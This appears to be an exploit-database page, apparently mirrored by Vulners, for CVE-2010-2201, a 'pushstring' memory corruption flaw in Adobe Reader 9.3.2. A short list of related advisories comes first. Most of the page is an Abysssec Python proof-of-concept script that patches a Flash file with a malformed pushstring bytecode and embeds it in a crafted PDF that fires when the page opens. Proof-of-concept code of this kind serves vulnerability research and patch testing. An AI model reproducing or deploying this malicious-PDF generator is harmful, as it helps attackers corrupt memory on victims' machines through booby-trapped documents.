Adobe Acrobat and Reader - "pushstring" Memory Corruption

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Adobe Acrobat and Reader "pushstring" Memory Corruption CVE-2010-220

Reporter	Title	Published	Views	Family All 39
0day.today	Adobe Acrobat and Reader "pushstring" Memory Corruption	12 Sep 201000:00	–	zdt
Tenable Nessus	Adobe Acrobat < 9.3.3 / 8.2.3 Multiple Vulnerabilities (APSB10-15)	30 Jun 201000:00	–	nessus
Tenable Nessus	Adobe Reader < 9.3.3 / 8.2.3 Multiple Vulnerabilities (APSB10-15)	30 Jun 201000:00	–	nessus
Tenable Nessus	GLSA-201009-05 : Adobe Reader: Multiple vulnerabilities	8 Sep 201000:00	–	nessus
Tenable Nessus	RHEL 5 : acroread (RHSA-2010:0503)	28 Jul 201000:00	–	nessus
Tenable Nessus	openSUSE Security Update : acroread (openSUSE-SU-2010:0359-1)	9 Jul 201000:00	–	nessus
Tenable Nessus	openSUSE Security Update : acroread (openSUSE-SU-2010:0359-1)	9 Jul 201000:00	–	nessus
Tenable Nessus	openSUSE Security Update : acroread (openSUSE-SU-2010:0359-1)	9 Jul 201000:00	–	nessus
Tenable Nessus	SuSE 11 / 11.1 Security Update : acroread (SAT Patch Numbers 2639 / 2640)	2 Dec 201000:00	–	nessus
Tenable Nessus	SuSE 11 / 11.1 Security Update : acroread (SAT Patch Numbers 2637 / 2641)	2 Dec 201000:00	–	nessus


                                                &#39;&#39;&#39;
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ &#60; 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub12-adobe-acrobat-and-reader-pushstring-memory-corruption/
http://www.exploit-db.com/sploits/moaub-12-exploit.zip
&#39;&#39;&#39;

&#39;&#39;&#39;
  Title             :  Adobe Acrobat and Reader &#34;pushstring&#34; Memory Corruption
  Version           :  Adobe Reader 9.3.2
  Analysis         :  http://www.abysssec.com
  Vendor            :  http://www.adobe.com
  Impact            :  Med/High
  Contact           :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           :  @abysssec
  CVE               :  CVE-2010-2201
  MOAUB Number      :  MOAUB-10
&#39;&#39;&#39;

import sys

class PDF:
     
	def __init__(self):
		self.xrefs = []
		self.eol = &#39;\x0a&#39;
		self.content = &#39;&#39;
		self.xrefs_offset = 0
		
	def header(self):
		self.content += &#39;%PDF-1.6&#39; + self.eol
		
	def obj(self, obj_num, data,flag):
		self.xrefs.append(len(self.content))
		self.content += &#39;%d 0 obj&#39; % obj_num
		if flag == 1:
			self.content += self.eol + &#39;&#60;&#60; &#39; + data + &#39; &#62;&#62;&#39; + self.eol
		else:
			self.content += self.eol + data + self.eol
		self.content += &#39;endobj&#39; + self.eol

	def obj_SWFStream(self, obj_num, data, stream):
		self.xrefs.append(len(self.content))
		self.content += &#39;%d 0 obj&#39; % obj_num
		self.content += self.eol + &#39;&#60;&#60; &#39; + data + &#39;/Params &#60;&#60; /Size %d &#62;&#62; /DL %d /Length %d&#39; %(len(stream),len(stream),len(stream))
		self.content += &#39; &#62;&#62;&#39; + self.eol
		self.content += &#39;stream&#39; + self.eol + stream + self.eol + &#39;endstream&#39; + self.eol
		self.content += &#39;endobj&#39; + self.eol
	
	def obj_Stream(self, obj_num, data, stream):
		self.xrefs.append(len(self.content))
		self.content += &#39;%d 0 obj&#39; % obj_num
		self.content += self.eol + &#39;&#60;&#60; &#39; + data + &#39;/Length %d&#39; %len(stream)
		self.content += &#39; &#62;&#62;&#39; + self.eol
		self.content += &#39;stream&#39; + self.eol + stream + self.eol + &#39;endstream&#39; + self.eol
		self.content += &#39;endobj&#39; + self.eol
		
	def ref(self, ref_num):
		return &#39;%d 0 R&#39; % ref_num
		
	def xref(self):
		self.xrefs_offset = len(self.content)
		self.content += &#39;xref&#39; + self.eol
		self.content += &#39;0 %d&#39; % (len(self.xrefs) + 1)
		self.content += self.eol
		self.content += &#39;0000000000 65535 f&#39; + self.eol
		for i in self.xrefs:
			self.content += &#39;%010d 00000 n&#39; % i
			self.content += self.eol
    
	def trailer(self):
		self.content += &#39;trailer&#39; + self.eol
		self.content += &#39;&#60;&#60; /Size %d&#39; % (len(self.xrefs) + 1)
		self.content += &#39; /Root &#39; + self.ref(1) + &#39; &#62;&#62; &#39; + self.eol
		self.content += &#39;startxref&#39; + self.eol
		self.content += &#39;%d&#39; % self.xrefs_offset
		self.content += self.eol
		self.content += &#39;%%EOF&#39;
		
	def generate(self):
		return self.content


		
		
class POC:

    def getSWF(self):
        try:
            fdR = open(&#39;flash.swf&#39;, &#39;rb+&#39;)
            strTotal = fdR.read()		
            str1 = strTotal[:479]
			
            command = &#39;\x2C\xE8\x88\xF0\xFF\x33&#39;   #pushstring
			
            str2 = strTotal[485:]
			
            fdW= open(&#39;poc.swf&#39;, &#39;wb+&#39;)
            finalStr = str1+command+str2
            fdW.write(finalStr)	
            
            fdR.close()
            return finalStr
            
        except IOError:
            print &#39;[*] Error : An IO error has occurred&#39;
		

def generate_pdf():
	poc = POC()
	swfFile = &#39;poc.swf&#39;
	pdf = PDF()
	pdf.header()
	pdf.obj(1, &#39;/MarkInfo&#60;&#60;/Marked true&#62;&#62;/Type /Catalog/Pages &#39; + pdf.ref(2) ,1)
	pdf.obj(2, &#39;/Count 1/Type/Pages/Kids[ &#39;+pdf.ref(3)+&#39; ]&#39;,1)
	pdf.obj(3, &#39;/Annots [ &#39;+pdf.ref(5) +&#39; ]/Parent &#39;+pdf.ref(2) + &#34; /Type/Page&#34;+&#39; /Contents &#39;+pdf.ref(4) ,1)
	pdf.obj_Stream(4, &#39;&#39;,&#39;&#39;)
	pdf.obj(5, &#39;/RichMediaSettings &#39;+pdf.ref(6)+&#39; /NM ( &#39; + swfFile + &#39; ) /Subtype /RichMedia /Type /Annot /RichMediaContent &#39;+pdf.ref(7)+&#39; /Rect [ 266 116 430 204 ]&#39;,1)
	pdf.obj(6, &#39;/Subtype /Flash /Activation &#39;+pdf.ref(8)+&#39; /Type /RichMediaSettings /Deactivation &#39;+pdf.ref(9),1)  
	pdf.obj(7, &#39;/Type /RichMediaContent /Assets &#39;+pdf.ref(10) +&#39; /Configurations [ &#39; + pdf.ref(11) + &#39;]&#39;,1)
	pdf.obj(8, &#39;/Type /RichMediaActivation /Condition /PO &#39;,1)	
	pdf.obj(9, &#39;/Type /RichMediaDeactivation /Condition /XD &#39;,1)	
	pdf.obj(10, &#39;/Names [(&#39;+ swfFile +&#39;) &#39; + pdf.ref(12)+&#39; ]&#39;,1)	
	pdf.obj(11, &#39;/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ &#39;+pdf.ref(13) +&#39; ]&#39;,1)	
	pdf.obj(12, &#39;/EF &#60;&#60;/F &#39;+pdf.ref(14) +&#39; &#62;&#62; /Type /Filespec /F (&#39;+ swfFile +&#39;)&#39;,1)	
	pdf.obj(13, &#39;/Subype /Flash /Params &#39;+pdf.ref(15) +&#39; /Type /RichMediaInstance /Asset &#39;+ pdf.ref(12) ,1)
	pdf.obj_SWFStream(14, &#39; /Type /EmbeddedFile  &#39;,poc.getSWF() )  
	pdf.obj(15, &#39;/Binding /Background /Type /RichMediaParams /FlashVars () /Settings &#39;+pdf.ref(16),1)
	pdf.obj_Stream(16, &#39;&#60;&#60;/Length 0 &#62;&#62; &#39;,&#39;&#39;)  
	
	
	pdf.xref()
	pdf.trailer()
	return pdf.generate()
	
def main():
	if len(sys.argv) != 2:
		print &#39;Usage: python %s [output file name]&#39; % sys.argv[0]
		sys.exit(0)
	file_name = sys.argv[1]
	if not file_name.endswith(&#39;.pdf&#39;):
		file_name = file_name + &#39;.pdf&#39;
	try:
		fd = open(file_name, &#39;wb+&#39;)
		fd.write(generate_pdf())
		fd.close()
		print &#39;[-] PDF file generated and written to %s&#39; % file_name
	except IOError:
		print &#39;[*] Error : An IO error has occurred&#39;
		print &#39;[-] Exiting ...&#39;
		sys.exit(-1)
if __name__ == &#39;__main__&#39;:
	main()

01 Jul 2014 00:00Current

0.3Low risk

Vulners AI Score0.3

EPSS0.13538